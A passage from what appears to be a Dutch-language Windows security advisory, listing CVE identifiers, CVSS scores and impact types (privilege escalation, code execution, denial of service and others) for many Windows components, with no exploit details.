|\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige 